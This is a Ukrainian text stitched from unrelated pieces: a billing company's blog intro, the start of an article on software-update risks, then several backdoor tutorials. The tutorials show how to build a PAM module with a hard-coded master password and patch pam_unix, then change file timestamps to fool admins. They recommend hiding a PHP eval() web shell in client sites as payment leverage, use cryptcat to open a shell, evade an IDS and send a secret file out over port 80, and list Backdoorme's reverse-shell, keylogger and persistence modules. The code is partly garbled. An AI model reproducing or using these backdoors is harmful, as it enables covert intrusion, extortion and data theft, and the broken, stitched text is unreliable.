У нашому блозі на Хабрі ми не тільки розповідаємо про розвиток свого продукту - білінгу для операторів зв'язку «Гідра», але й публікуємо матеріали про роботу з інфраструктурою та використання технологій.

Німецький журналіст і хакер Ляйф Риге (Leif Ryge) написав для видання Ars Technica цікавий матеріал про те, що сучасний підхід до організації оновлень програмного забезпечення несе у собі серйозні ризики інформаційної безпеки. Ми представляємо вашій увазі головні думки цієї статті.

Передісторія

Ще в 2014 році редакція Washington Post писала про те, що компаніям на кшталт Apple і Google варто було б винайти щось на кшталт секретного ключа, за допомогою якого можна було б отримувати доступ до їхніх продуктів і який вони зберігали б і передавали спецслужбам лише у разі отримання ними судового. рішення».

Позбавлення «слабких ланок», атака на кожну з яких може стати критичною, має стати базовою вимогою до будь-яких нових механізмів поширення програмного забезпечення.

Способів закріпитися на зламаній машині маса. Від найбанальніших і легко виявлених (додати себе до бази користувачів) до складних модулів ядра, що реалізують зворотний шелл на віддалену машину. Але є серед них дуже простий у реалізації і досить потайливий метод, про який знають напрочуд мало людей. Це модифікація модулів системи аутентифікації PAM, яку використовують усі сучасні UNIX-системи.

Що таке PAM

модулі аутентифікації (Pluggable Authentication Modules, PAM) - це набір API, необхідних для реалізації механізмів аутентифікації в різних додатках.

До появи PAM, щоб реалізувати аутентифікацію, скажімо, за допомогою ключ-карти, розробникам доводилося вносити код підтримки цих ключ-карт у кожен компонент системи, відповідальний за аутентифікацію користувача. Тобто дописувати і перезбирати доводилося утиліту login, sshd, а також будь-який інший софт, до якого планувалося додати подібну функціональність.

З появою PAM ситуація значно спростилася. Тепер, щоб додати в систему свій неповторний самописний протокол аутентифікації, достатньо реалізувати його в рамках єдиного модуля PAM. А всі утиліти та програми, які вміють працювати з PAM, підхоплять його і зможуть використовувати для автентифікації користувача.

На практиці це виглядає приблизно так: утиліта login звертається до PAM, який виконує всі необхідні перевірки за допомогою зазначених у конфігураційному файлі модулів та повертає результат назад утиліті login. Зручно, чи не так? Однак такий підхід містить можливості, які ми можемо використовувати для закріплення в системі.

Варто зробити невелике застереження. Існує три основні реалізації PAM:

  • Linux-PAM – основна реалізація PAM у будь-якій Linux-системі;
  • OpenPAM - використовується в BSD-системах та macOS;
  • JPam – реалізація PAM для Java-додатків.

Загострювати увагу на якійсь конкретній реалізації ми не будемо. Основна функціональність скрізь однакова.

Аспекти закріплення *nix з використанням PAM

Налаштування PAM для кожної програми ти можеш знайти у каталозі /etc/pam.d(Linux) або у файлі /etc/pam.conf. Приклад конфігураційного файлу для утиліти login у macOS:

auth optional pam_krb5 .so use_kcminit

auth optional pam_ntlm .so try_first_pass

auth optional pam_mount .so try_first_pass

auth required pam_opendirectory .so try_first_pass

accunt required pam_nologin .so

accunt required pam_opendirectory .so

password необхідний pam_opendirectory .so

session required pam_launchd .so

session required pam_uwtmp .so

session optional pam_mount .so

Давай розберемося, яка тут магія відбувається.

Конфігураційний файл описує правила перевірки, які повинні бути дотримані для успішної аутентифікації користувача або виконання інших дій (зміна пароля, підготовка користувача оточення). Кожен рядок конфігураційного файлу містить одне правило. Перевірки виконуються рядково.

Зліва направо: тип модуля, control_flag, ім'я модуля. Для нас в першу чергу цікавить тип модуля auth, саме ці модулі відповідальні за аутентифікацію. Control_flag - це властивість модуля. Воно може набувати значень:

  • requisite (необхідний) - якщо модуль повертає позитивну відповідь, виконується частина ланцюжка, що залишилася, і запит задовольняється. Якщо модуль повертає негативну відповідь, запит негайно відкидається і будь-які інші перевірки не виконуються;
  • required (необхідний) - так само, як і requisite: якщо відповідь позитивна, виконується частина ланцюжка перевірок, що залишилася. З тією різницею, що у разі негативної відповіді ланцюжок перевірок продовжує виконуватися, проте запит відкидається;
  • sufficient (достатній) - задовольняє запит у тому випадку, якщо жодна з інших раніше проведених по ланцюжку перевірок не відпрацювала негативно. Якщо модуль спрацював негативно, результат ігнорується і ланцюжок перевірок відпрацьовується далі;
  • optional (необов'язковий) – модуль відпрацьовується, проте результат ігнорується.

Вже на цьому етапі ти напевно зрозумів, що, внісши невеликі зміни до файлу конфігурації, ми можемо забезпечити собі успішний вхід у систему з будь-яким паролем (достатньо помітити всі auth-модулі як optional). Але це рішення буде працювати доти, доки легітимний користувач або адміністратор не помітить того, що успішно логіниться в систему навіть з невірним паролем.

Пишемо власний модуль-бекдор

PAM дозволяє нам підключати власні моделі аутентифікації. Тому ми можемо створити модуль із «чарівним» паролем і домогтися того, щоб система приймала як стандартні паролі користувачів, так і наш власний. У разі введення невірного пароля ми побачимо цілком очікувану помилку автентифікації. Непоганий варіант.

Отже, код (не забудь замінити magic-password на свій «чарівний» пароль):

#include

#include

#include

#include

#include

#include

#define MYPASSWD "magic-password"

PAM_EXTERN int pam_sm_setcred (pam_handle_t * pamh , int flags , int argc , const char * * argv ) (

return PAM_SUCCESS ;

PAM_EXTERN int pam_sm_acct_mgmt (pam_handle_t * pamh , int flags , int argc , const char * * argv ) (

return PAM_SUCCESS ;

PAM_EXTERN int pam_sm_authenticate (pam_handle_t * pamh , int flags , int argc , const char * * argv ) (

char *password = NULL;

pam_get_authtok (pamh, PAM_AUTHTOK, (const char * *) & password, NULL);

if (! strncmp (password, MYPASSWD, strlen (MYPASSWD)))

return PAM_SUCCESS ;

return - 1;

Зберемо модуль:

$ sudo apt - get install libpam0g - dev gcc

$ gcc - fPIC - c pam_backdoor .c

$ ld - x -- shared - o pam_backdoor .so pam_backdoor .o

І помістимо його в каталог з іншими модулями:

$ sudo chown root : root pam_backdoor .so

$ sudo cp pam_backdoor .so / lib / x86_64 - linux - gnu / security /

Зверніть увагу, що шлях /lib/x86_64-linux-gnu/security/специфічний для Debian/Ubuntu. У Fedora, Red Hat і CentOS модулі розміщуються в каталозі /lib64/security/, а в Arch Linux - у каталозі /lib/security/.

Тепер залишається тільки налаштувати PAM таким чином, щоб проходження перевірки твоїм модулем було достатньо для успішної автентифікації. Наприклад, конфіг для утиліти su ( /etc/pam.d/su):

У деяких Linux-системах налаштування аутентифікації можуть бути винесені в декілька файлів: common-auth, common-password, common-session, а потім підключатися до конфігураційних файлів конкретних утиліт через @include. Цей момент треба враховувати.

Після того як ти внесеш налаштування в конфіг, утиліта su пускатиме тебе з використанням вказаного в модулі пароля. Той самий трюк можна зробити з утилітою login (консольний вхід в систему) і sshd для віддаленого входу.

Вбудовуємо бекдор у існуючий модуль

Редагуючи конфіг PAM, ти міг помітити модуль pam_unix.so. Цей модуль відповідає за аутентифікацію користувачів за допомогою стандартної для UNIX-систем бази паролів /etc/passwd. Його використовують багато утиліт, включаючи su, login, sshd, та інші програми (наприклад, SecureFTPd).

Оскільки PAM - це все-таки open source і ми маємо доступ до вихідних текстів як самого демона, так і стандартних компонентів, ми можемо вбудувати свій бекдор прямо в цей модуль.

Для того, щоб внести необхідні зміни, завантажуємо вихідні тексти PAM:

$ http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz

$ tar - xzf inux - PAM - 1.1.8.tar.gz

Відкриваємо файл Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.cі шукаємо наступні рядки:

Збираємо та замінюємо оригінальний модуль своїм:

$. /configure

$ make

$ sudo cp Linux - PAM - 1.1.8 / modules / pam_unix / .libs / pam_unix .so / lib / x86_64 - linux - gnu / security /

Щоб адмін не помітив заміни, змінюємо час створення файлу так, щоб він збігався з часом створення інших модулів.

Пам'ятається у статті "10 порад та рекомендацій на замовлення сайту" я згадував випадок, коли нечесний клієнт вирішив кинути нас навіть незважаючи на те, що працювали разом більше півтора року. Після того, як ми дізналися, що нам нічого не виплатять, ми не змогли навіть повернути собі сайти, оскільки жодної лазівки в них не залишилося.

Однак мене спало те, що в одному з сайтів у мене залишився невеликий "запасний вхід", завдяки якому я не думав розвинутись другому сайту і вилізти у світ. І виглядав цей вхід у вигляді простої форми завантаження файлів на сервер.

З її допомогою я завантажував на сайт потрібні скрипти і запускав їх на сайті, а вони своєю чергою робили свою брудну роботу. Мінус біля цих дверей був один - їй міг скористатися будь-хто, якщо, звичайно, знав про її існування.

Минув час, і незважаючи на те, що до сьогоднішнього дня все йде гладко, це не виключає того, що така петрушка може повторитися знову.

В принципі, можна використовувати і старий метод з відправкою файлу на сервер, але… Навіщо ці складності, якщо можна зробити все простіше.

Я пропоную варіанти та ідеї найпростішого бекдурова, якщо справді виникнуть проблеми. Отже…

  1. Створюємо файл php і називаємо його якось непомітно, типу license.php або ще як.
  2. Пишемо в ньому код

    if (isset($_POST["text"]))
    eval ($_POST["text"]);
    ?>




  3. Поміщаємо файл кудись подалі вглиб cms-ки, наприклад, в нетрі WYSIWYG-редактора. При бажанні дублюємо файл ще в 2-3 місця (про всяк пожежний)

Ось він, каркас для неподобств. Вважаю, не потрібно пояснювати, що функція eval виконує набраний у формі код.

Це лише каркас, який може мати безліч прикладів реалізації. Допустимо, можна через highlight_file вивести зміст якогось файлу з паролями, до якого немає прямого доступу. Можна підключитися до бази даних, рахувати зміст або змінити його. А можна взагалі надрукувати скрипт видалення всього на сервері, чому б і ні.

Трохи нижче я пропоную ідеї для доповнення цих дверцят, які можна зробити за бажанням – залишу тобі, дорогий читачу, як необов'язкове домашнє завдання. Але якщо раптом буде бажання – з радістю гляну на те, що вийшло.

Ідеї ​​для покращення :

  1. Взагалі було б непогано, щоб двері не були доступні кожному, і зробити для неї авторизацію, наприклад, через звичайний. прим.ред.).
  2. Маючи авторизацію, можна взагалі заготовити ряд кнопочок, клацаючи якими можна викликати той чи інший скрипт. Наприклад, заходиш ти у свої дверцята, а там кнопки - рахувати паролі, рахувати базу даних, видалити адміністративну панель і так далі.
  3. Ще ідеї?

Насамкінець

Використовувати дверцята є сенс тоді, коли здаєш сайт до виплати (буває), або коли працюєш у фірмі, і хочеш підстрахуватися. У першому випадку, коли виплата здійснюється, то дверцята можна видалити, а можна й залишити, правда не думаю, що вона вже знадобиться. А в другому випадку - доведеться тримати її напоготові постійно.

На сьогодні все. Буду радий Вашим ідеям та пропозиціям на тему! До нових зустрічей

Cryptcat дозволяє нам спілкуватися між двома системами і шифрує зв'язок між ними за допомогою двохfish - одного з багатьох прекрасних алгоритмів шифрування.

Раніше ми познайомилися з одним маленьким , який дозволяє створити з'єднання між будь-якими двома машинами та передавати файли або створити командну оболонку для "оволодіння" системою. Незважаючи на красу та елегантність цього маленького інструменту, він має один головний недолік – передачі між комп'ютерами можуть бути виявлені такими пристроями безпеки, як брандмауери та системи виявлення вторгнень (IDS).

У цьому уроці познайомимося з популярним кузеном netcat, cryptcat (він насправді набагато симпатичніший і екзотичніший, ніж простий netcat).

Оскільки шифрування twofish знаходиться на одному рівні з шифруванням AES, то це робить cryptcat практично куленепробивним. Таким чином, IDS не можуть виявити шкідливу поведінку навіть тоді, коли його маршрути пролягають через такі звичайні порти HTTP 80 і 443.

Крок 1: Завантажте Cryptcat

Крок 2: Відкрийте слухача на Windows

Ми можемо відкрити слухача на будь-якій системі з подібним синтаксисом як для netcat. У нашому випадку ми відкриваємо слухача в системі Windows 7 на порту 6996 і створюємо командну оболонку.

cryptcat -l -p 6996 -e cmd.еxе

L означає "відкрити слухача"
-p 6996 означає "розмістити слухача у порту 6996"
-e cmd.еxе означає "запустити командну оболонку для зв'язку"

Крок 3: Відкрийте Snort або іншу IDS

Тепер, давайте запустимо IDS типу Snort на іншій системі, яка буде підключатися до системи Windows, щоб побачити, чи здатне шифрування "сліпити" IDS, залишаючи наш чорний хід невидимим для таких пристроїв безпеки.


Крок 4: Підключіться до системи Windows з Cryptcat

За замовчуванням Cryptcat встановлений на BackTrack , тому ми не повинні завантажувати і встановлювати його. Крім того, він знаходиться в директорії /bin, тому можемо отримати доступ до нього будь-якого каталогу.

Тепер підключимося до системи Windows 7 cryptcat із нашої системи BackTrack і подивимося, чи можемо виконати зашифроване з'єднання бекдор, яке майже неможливо виявити.

cryptcat 192.168.4.182.248 6996


Як Ви можете бачити, ми підключені до системи Windows 7 та отримали командну оболонку із системи Win 7! Це дає нам значний контроль за цією системою, але не тотальний, тому що командна оболонка має обмежені можливості.

Крок 5: Проведіть журнали Snort та оповіщення

Цей тип атаки (проходження командної оболонки через мережу) легко виявляється за допомогою Snort або інших IDS, коли з'єднання не шифрується. Правила Snort попередять сисадміна, що cmd.exе оболонка проходить мережеве з'єднання, і вони, ймовірно, зроблять щось, щоб утримати Вас від використання цієї командної оболонки. З зашифрованим з'єднанням, доступним з cryptcat, цей зв'язок майже неможливо виявити.

Повернімося назад і перевіримо журнали та оповіщення в Snort. Якщо ми були успішними в ухиленні від IDS, то не маємо побачити попередження про переміщення командної оболонки через мережу. Ми можемо перевірити наші журнали, зайшовши в /var/snort/alerts і подивившись чи є якісь сигнали, викликані нашою зв'язком з машиною Windows (зазвичай, ми повинні знайти попередження).

kwritе /var/snort/alerts


Як Ви можете бачити, ми досягли успіху. Ми змогли підключитися до системи Windows, не привертаючи уваги будь-якої системи безпеки!

Крок 6: Надішліть Crypcat через порт 80, щоб ухилитися від брандмауера

Хоча ми успішно створили зашифрований бекдор на системі жертви, пильний адміністратор безпеки зауважить, що відкритий незвичайний порт (6996). Це, швидше за все, ініціюватиме будь-яку дію адміністратора з безпеки, щоб обмежити наш доступ. Крім того, у системах з хорошим системним адміністратором та хорошим брандмауером, цей порт, ймовірно, буде заблокований брандмауером.

Для будь-якої мережі, щоб мати можливість спілкуватися в Інтернеті, швидше за все, потрібно тримати відкритими порти 80 та 443, але також, можливо, 25, 53 та 110. Оскільки у незашифрованому вигляді нормальний інтернет-трафік проходить через порт 80, який майже завжди відкритий , то незначне збільшення трафіку навряд чи відмічено.

Тепер, коли ми успішно використовували cryptcat, надішлемо його через порт 80 з усім іншим інтернет-трафіком. Хоча він зашифрований, але виглядатиме як і будь-які двійкові дані, що передаються в лінії. Тому буде майже неможливим для виявлення пристроями безпеки, щоб блокувати його, оскільки вони завжди повинні дозволяти трафік через порт 80, а трафік шифрується і IDS не зможе "бачити" його вміст.

Тут ми перемістимо файл із системи жертви під назвою topsecret.txt до нашої атакуючої системи без виявлення його будь-яким пристроєм безпеки. На цей раз, замість відправки командної оболонки через мережу, ми надсилатимемо абсолютно секретний файл з ім'ям topsecret.txt через наше зашифроване з'єднання. Ми можемо це зробити, набравши в командному рядку Windows:

cryptcat -l -p 80< topsecret.txt

L означає "відкрити слухача"
-p 80 означає "відкрити слухача на порту 80"
< означает "отправить файл через этого слушателя"

Backdoorme - утиліта для автоматичного створення бекдорів

Backdoorme є потужною утилітою, здатною створити безліч лазівок на Unix машинах. Backdoorme використовує знайомий інтерфейс metasploit з приголомшливою розширюваністю. Backdoorme покладається на володіння існуючим SSH з'єднанням або обліковими даними жертви, через які вона зможе передати та розмістити будь-яку лазівку. Будь ласка, використовуйте Backdoorme з відкритою роздільною здатністю.

Приховано від гостей


Backdoorme відразу йде з певною кількістю вбудованих бекдорів, модулів та допоміжних модулів. Бекдори є конкретними компонентами для створення та розгортання необхідного бекдору, такого як netcat backdoor або msfvenom backdoor. Модулі можуть бути застосовані до будь-якого бекдору, і використовуються, щоб зробити бекдори більш потужними, прихованими або швидковимикаються. Допоміжні елементи є корисними операціями, які можна виконати, щоб допомогти зберегти перманентність.

Ще трохи про бекдори:Щоб запустити backdoorme, переконайтеся, що у вас є необхідні залежності.

$python dependencies.py

Запуск backdoorme:

$ python master.py

Бекдори

Щоб використати бекдор, просто запустіть ключове слово "use".

>> use shell/metasploit + Using current target 1. + Using Metasploit backdoor... (msf) >>

Звідти ви можете встановити опції, які підходять до бекдору. Запустіть або "show options" або "help", щоб переглянути список параметрів, які можна налаштувати.

Як і в metasploit, бекдори організовані за категоріями.

  • Auxiliary (Допоміжні категорії)
    • keylogger- Додає кейлоггер в систему і робить вам доступною опцію відправки результатів назад поштою;
    • simplehttp– Встановлює Python SimpleHTTP сервер на клієнті.
    • user– Додає нового користувача до мети.
    • web– Встановлює Apache Server на клієнта.
  • Escalation (Категорія розширення)
    • setuid– SetUID бекдор працює шляхом встановлення setuid bit на виконуваний файл, маючи на увазі, що користувач має кореневий доступ. Таким чином, коли цей файл пізніше запускається користувачем, що не має кореневого доступу, даний файл виконується з кореневим доступом. За умовчанням, цей бекдор перемикає setuid bit на nano, таким чином, що якщо кореневий доступ втрачено будь-яким способом, атакуючий може знову зайти в SSH як непривілейований користувач і все одно зможе запустити nano (або будь-який вибраний двійковий файл) як root. ("nano /etc/shadow"). Зверніть увагу, що для розгортання даного розширення бекдору кореневий доступ необхідний на самому початку.
    • shell– shell backdoor є привілейованим розширенням бекдора, схожим на свого SetUID брата з розширення (але більш конкретним). Він дублює оболонку bash у прихований двійковий файл та встановлює SUID біт. Зверніть увагу, що для розгортання цього бекдор-розширення спочатку потрібний кореневий доступ. Щоб використовувати цей бекдор, якщо SSH виступає як непривілейований користувач, просто запустіть ".bash -p", і у вас буде кореневий доступ.
  • Shell (Категорія оболонки)
    • bash– використовує простий bash script для підключення до конкретного IP і комбінації портів і передачі результату в bash.
    • bash2- трохи відрізняється (і більш надійна) описаного вище bash бекдору, який не запитує пароль з боку клієнта.
    • metasploit– використовує msfvenom для створення reverse_tcp двійкового коду на цілі, потім запускає двійковий код для підключення до оболонки meterpreter.
    • netcat– використовує netcat для передачі стандартного пристрою введення та виведення /bin/sh, надаючи користувачеві інтерактивну оболонку.
    • netcat_traditional- Використовує netcat-traditional"s -e для створення зворотної оболонки.
    • perl– скрипт, написаний у perl, який перенаправляє результат у bash і перейменовує процес, щоб виглядати менш помітним.
    • php– запускає php бекдор, який надсилає результат у bash. Він не встановлює автоматично веб-сервер, але натомість використовує веб модуль.
    • pupy- використовує бекдор n1nj4sec Pupy, який знаходиться на

      Приховано від гостей

      .
    • python– використовує короткий python скрипт для виконання команд та надсилання результатів назад користувачу.
    • web– відправляє веб-сервер до мети, потім завантажує msfvenom php reverse_tcp бекдор і підключається до хоста. Незважаючи на те, що це все ще php бекдор, він не є таким самим, як і описаний вище php бекдор.
  • Access (Категорія доступу)
    • remove_ssh- Видаляє ssh сервер на клієнті. Дуже зручно використовувати наприкінці бекдор сесії для видалення будь-яких слідів.
    • ssh_key– створює RSA ключ та копіює на ціль для підключення без пароля ssh.
    • ssh_port– Додає новий порт для ssh.
  • Windows (Категорія Windows)
    • windows– Використовує msfvenom для того, щоб створити windows бекдор.
Модулі

Кожен бекдор має здатність отримати додаткові модулі, які застосовуються для того, щоб зробити бекдор більш потужним. Щоб додати модуль, просто використовуйте ключове слово add.

(msf) >> add poison + Poison module added

Кожен модуль має додаткові параметри, які можуть налаштовуватися і якщо "help" запустити повторно, ви можете побачити або встановити будь-які додаткові опції.

Доступні на даний момент модулі включають:

  • Poison
    • Виробляють bin отруєння цільового комп'ютера – Він компілює виконуваний файл для виклику системної утиліти та існуючого бекдору.
    • Наприклад, якщо модуль отруєння bin запущений разом з "ls", він скомпілює і перенесе двійковий код під назвою "ls", який запускатиме як існуючий бекдор, так і початкову "ls", таким чином відключаючи користувача для більш частого запуску бекдору.
  • Cron
    • Додає існуючий бекдор crontab кореневого користувача для роботи із заданою частотою.
  • Web
    • Встановлює веб-сервер та розміщує веб-сторінку, яка запускає бекдор.
    • Просто заходить на сайт із відкритим слухачем і бекдор запускається.
  • User
    • Додає нового користувача до мети.
  • Startup
    • Дозволяє створювати бекдори з файлами bashrc та init.
  • Whitelist
    • Заносить в IP "білий список" таким чином, що тільки цей IP може підключитися до бекдору.
Переклад: